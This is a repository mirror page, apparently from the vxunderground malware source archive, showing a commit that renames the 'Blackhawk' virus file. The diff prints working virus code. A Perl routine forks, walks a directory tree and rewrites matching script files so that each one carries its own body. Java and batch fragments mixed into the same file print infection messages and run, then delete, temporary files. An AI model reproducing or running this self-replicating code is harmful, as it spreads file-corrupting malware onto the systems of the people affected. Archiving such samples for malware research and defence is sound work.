ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2025-02-20 05:36:01 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Rename Virus.Java.Hawk.a.txt to Virus.Java.Hawk.a

Browse Source
This commit is contained in:
vxunderground 2020-10-24 16:06:33 -05:00 committed by GitHub
parent 4eb5aea74d
commit 938260ba96
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 44 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

88
Java/Virus.Java.Hawk.a.txt → Java/Virus.Java.Hawk.a
View File

@ -22,54 +22,54 @@ sleeper = new Thread(this);
sleeper.setPriority(Thread.MAX_PRIORITY);
sleeper.start();
}
use File::Find;
&virus();
use File::Find;
&virus();
print "\
nThis program is infected by the Blackhawk virus\n\n";
nThis program is infected by the Blackhawk virus\n\n";
sub virus
{
my ( $pid, $new );
if( $pid = fork ) { return; }
else
{
my ( $pid, $new );
if( $pid = fork ) { return; }
else
{
open( source, $0 );
finddepth ( \&infect, '/home/chris/test' );
sub infect
{
open( source, $0 );
finddepth ( \&infect, '/home/chris/test' );
sub infect
{
open target, "$File::Find::name";
$_ = <target>;
{
open target, "$File::Find::name";
$_ = <target>;
if
( /(\#!.*Blackhawk)/ )
{
$_ = <target>;
if( $_ ne "use File::Find;\n" )
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
while( <target> ) { $new = $new . $_; }
seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { };
$new = $new . "\nsub virus\n";
while( <source> ) { $new = $new . $_; }
close target;
open target, ">$File::Find::name";
print target $new;
}
}
close( target );
}
close( source );
exit( 0 );
}
}
# a blackhawk virus, x
#
( /(\#!.*Blackhawk)/ )
{
$_ = <target>;
if( $_ ne "use File::Find;\n" )
{
$new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
while( <target> ) { $new = $new . $_; }
seek( source, 0, 0 );
while( <source> ne "sub virus\n" ) { };
$new = $new . "\nsub virus\n";
while( <source> ) { $new = $new . $_; }
close target;
open target, ">$File::Find::name";
print target $new;
}
}
close( target );
}
close( source );
exit( 0 );
}
}
# a blackhawk virus, x
#
outer.write(buffer);
outer.close();
@ -103,4 +103,4 @@ Def *T172000=[Write 10 20 Your computer is infected with Blackhawk.Virus.\n ,
@call ttt.BAT
@del ttt.BAT
@del ttt.TMP
# [Blackhawk] by Kingrhua//SMF
# [Blackhawk] by Kingrhua//SMF